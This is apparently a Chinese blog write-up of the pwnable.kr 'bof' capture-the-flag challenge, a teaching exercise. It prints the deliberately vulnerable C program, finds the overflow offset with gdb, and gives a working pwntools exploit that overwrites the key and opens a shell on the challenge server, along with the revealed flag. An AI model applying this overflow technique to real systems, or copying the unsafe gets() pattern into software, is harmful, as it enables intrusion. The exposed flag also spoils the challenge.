OneShell

I fight for a brighter tomorrow

0%

[pwnable.kr] bof

Nana told me that buffer overflow is one of the most common software vulnerability.

Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

终于到了溢出类的题目了,一道很简单的缓冲区溢出,覆盖变量为指定值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

方法1 根据两个变量起始地址差距计算

  1. 定位输入字符串的起始地址为:0xffffd1fc

    1
    2
    3
    4
    5
    6
      0x5655564c <func+32>    mov    dword ptr [esp], eax
    ► 0x5655564f <func+35> call gets <gets>
    arg[0]: 0xffffd1fc ◂— 9 /* '\t' */
    arg[1]: 0x20
    arg[2]: 0x0
    arg[3]: 0xffffd3cc ◂— 0x20 /* ' ' */
  2. 定位key比较时,key所在的地址:0xffffd228 + 8 = 0xffffd230

1
► 0x56555654 <func+40>    cmp    dword ptr [ebp + 8], 0xcafebabe

所以如果想要覆盖到key的话,需要先填充0xffffd230 - 0xffffd1fc = 0x34个字节;

方法2 gdb查看内存布局

调试的时候随便输入一个字符串例如AAAA,然后查看栈内存中AAAA和0xdeadbeef的距离

1
2
3
4
5
6
7
pwndbg> x/50wx $esp
0xffffd1e0: 0xffffd1fc 0x00000020 0x00000000 0xffffd3cc
0xffffd1f0: 0x00000000 0x00000000 0x01000000 0x41414141
0xffffd200: 0xf7fc4500 0x00000000 0xf7c184be 0xf7e2a054
0xffffd210: 0xf7fbe4a0 0xf7fd6f80 0xf7c184be 0xc823bd00
0xffffd220: 0xffffd260 0xf7fbe66c 0xffffd248 0x5655569f
0xffffd230: 0xdeadbeef 0x00000000 0xf7e2a000 0xf7d20ecb

或者使用gdb的find命令,在指定栈内存范围内搜索字符串起始地址和key地址:

1
2
3
4
5
6
pwndbg> find $esp, $esp + 200, "AAAA"
0xffffd1fc
1 pattern found.
pwndbg> find $esp, $esp + 200, 0xdeadbeef
0xffffd230
1 pattern found.

0xffffd230 - 0xffffd1fc = 0x34

方法3 常识

x86情况下,ebp存放上一个栈帧的ebp,ebp + 4是存放的返回地址,ebp + 8是第一个参数的地址、ebp + 12是第二个参数的地址,依次。key是第一个参数。

exp

那么逻辑就比较清晰了

1
python3 -c "import sys; sys.stdout.buffer.write(b'A' * 52 + b'\xbe\xba\xfe\xca')" > ./payload
1
2
3
4
5
from pwn import *
payload = b'A' * 52 + b'\xbe\xba\xfe\xca'
conn = remote('pwnable.kr', 9000)
conn.sendline(payload)
conn.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 exp.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$

知识点小结

  1. gdb搜索内存

使用命令find来搜索内存中特定的值,语法如下:

1
find start_address, end_address, value

如果要搜索整个内存空间,使用0和-1作为起始地址和结束地址。

  1. x86下32为的内存空间布局